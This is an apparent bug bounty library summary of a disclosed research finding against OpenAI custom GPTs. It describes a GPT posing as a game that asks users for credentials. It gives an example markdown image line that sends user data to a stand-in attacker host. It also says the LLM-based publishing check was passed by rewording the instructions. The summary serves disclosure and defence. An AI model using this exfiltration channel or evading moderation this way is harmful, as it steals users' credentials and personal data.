# Malicious ChatGPT Agents: How GPTs Can Quietly Grab Your Data (Demo)

A custom GPT exfiltrates user-supplied personal data to a third-party server via hidden image markdown rendering, and publishing checks are trivially bypassed.

- Payout: Research
- Severity: medium
- Program: OpenAI
- Write-up by: Johann Rehberger
- Disclosed: 2023-12-13
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2023/openai-custom-malware-gpt/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2023-openai-custom-malware-gpt
- Tags: area:ai domain:ai impact:pii-leak kind:research platform:research sev:medium tech:llm technique:chained technique:oob-exfil vuln:info-disclosure vuln:prompt-injection

**Target:** Custom GPT / ChatGPT markdown image rendering
**Root cause:** ChatGPT renders markdown images from arbitrary external URLs, so a GPT's instructions can embed user data into an image URL and leak it to an attacker server; publishing validation is LLM-based and easily bypassed.
**Steps:**
1. Create a GPT whose instructions ask the user for personal info (email, password) under a benign pretext (tic-tac-toe).
2. Instruct the GPT to render a hidden image markdown tag with the collected data appended to the URL, e.g. `![](https://attacker.example/?data=<userdata>)`.
3. ChatGPT fetches the image, sending the data to the attacker server.
4. Publish the GPT; if blocked by brand/usage checks, tweak wording (avoid words like 'steal'/'malicious') to pass LLM validation.
5. Set visibility to 'Anyone with link' or 'Public' to distribute.
**How found:** Author reasoned that ChatGPT loads images from any website, so markdown image rendering could be abused as an exfiltration channel; built a PoC GPT to confirm end-to-end.
**Exploitation:** Attacker publishes a GPT posing as a game; it solicits credentials/PII and silently exfiltrates them via image URL fetches to the attacker's server, confirmed received server-side.
**Escalation:** Publishing publicly could auto-proliferate the malicious GPT through the GPT store.
**Insight:** LLM chat UIs that render remote images/markdown give an outbound channel; any user-supplied or model-generated string placed in an image URL leaks via the fetch. Also, LLM-based content moderation of GPT instructions is bypassable by rewording.